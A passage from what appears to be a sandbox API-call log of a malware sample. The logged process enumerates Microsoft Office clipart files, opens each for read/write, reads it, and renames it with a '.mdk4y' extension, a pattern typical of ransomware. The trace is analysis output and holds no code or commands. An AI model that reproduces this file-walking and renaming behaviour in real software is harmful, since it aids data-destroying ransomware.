lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0172.564] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.mdk4y")) returned 1 [0172.564] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.564] AreFileApisANSI () returned 1 [0172.564] GetACP () returned 0x4e4 [0172.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02074U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02074U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.565] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.566] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.679] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.mdk4y")) returned 1 [0172.680] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.680] AreFileApisANSI () returned 1 [0172.680] GetACP () returned 0x4e4 [0172.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02208U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02208U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.680] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.682] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.684] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.mdk4y")) returned 1 [0172.685] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.685] AreFileApisANSI () returned 1 [0172.685] GetACP () returned 0x4e4 [0172.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02223U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02223U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.685] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.686] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0172.692] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.mdk4y")) returned 1 [0172.693] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.693] AreFileApisANSI () returned 1 [0172.693] GetACP () returned 0x4e4 [0172.693] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02291U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02291U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.693] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.694] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0172.704] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.mdk4y")) returned 1 [0172.705] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.705] AreFileApisANSI () returned 1 [0172.705] GetACP () returned 0x4e4 [0172.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02398U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02398U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.706] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.706] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.708] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.mdk4y")) returned 1 [0172.709] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.709] AreFileApisANSI () returned 1 [0172.709] GetACP () returned 0x4e4 [0172.709] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02412K.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02412K.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0172.709] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.709] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdd5, lpOverlapped=0x0) returned 1 [0172.716] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.mdk4y")) returned 1 [0172.717] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.717] AreFileApisANSI () returned 1 [0172.717] GetACP () returned 0x4e4 [0172.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02417U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02417U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.717] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.717] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.719] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.mdk4y")) returned 1 [0172.720] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.720] AreFileApisANSI () returned 1 [0172.720] GetACP () returned 0x4e4 [0172.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02466U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02466U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.720] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.720] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7c08, lpOverlapped=0x0) returned 1 [0172.729] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.mdk4y")) returned 1 [0172.730] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.730] AreFileApisANSI () returned 1 [0172.730] GetACP () returned 0x4e4 [0172.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02470U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02470U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.730] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.731] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x48fc, lpOverlapped=0x0) returned 1 [0172.733] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.mdk4y")) returned 1 [0172.734] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.734] AreFileApisANSI () returned 1 [0172.734] GetACP () returned 0x4e4 [0172.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02503U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02503U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.735] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.736] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.775] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.mdk4y")) returned 1 [0172.776] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.776] AreFileApisANSI () returned 1 [0172.776] GetACP () returned 0x4e4 [0172.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02567J.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02567J.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0172.776] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.777] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8499, lpOverlapped=0x0) returned 1 [0172.779] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.mdk4y")) returned 1 [0172.780] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.780] AreFileApisANSI () returned 1 [0172.780] GetACP () returned 0x4e4 [0172.780] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02736G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02736G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.780] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.780] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x639b, lpOverlapped=0x0) returned 1 [0172.787] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.mdk4y")) returned 1 [0172.788] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.788] AreFileApisANSI () returned 1 [0172.788] GetACP () returned 0x4e4 [0172.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02736U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02736U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.788] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.789] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7e90, lpOverlapped=0x0) returned 1 [0172.835] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.mdk4y")) returned 1 [0172.838] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.838] AreFileApisANSI () returned 1 [0172.838] GetACP () returned 0x4e4 [0172.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02738U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02738U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.838] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.839] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8118, lpOverlapped=0x0) returned 1 [0172.844] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.mdk4y")) returned 1 [0172.845] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.845] AreFileApisANSI () returned 1 [0172.845] GetACP () returned 0x4e4 [0172.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02740G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02740G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.845] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.847] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5f2b, lpOverlapped=0x0) returned 1 [0172.877] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.mdk4y")) returned 1 [0172.878] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.878] AreFileApisANSI () returned 1 [0172.878] GetACP () returned 0x4e4 [0172.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02740U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02740U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.878] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.878] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7f68, lpOverlapped=0x0) returned 1 [0172.880] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.mdk4y")) returned 1 [0172.881] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.881] AreFileApisANSI () returned 1 [0172.881] GetACP () returned 0x4e4 [0172.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02742G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02742G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.881] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.881] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x50a5, lpOverlapped=0x0) returned 1 [0172.895] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.mdk4y")) returned 1 [0172.895] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.896] AreFileApisANSI () returned 1 [0172.896] GetACP () returned 0x4e4 [0172.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02742U.BMP", cchWideChar=12, 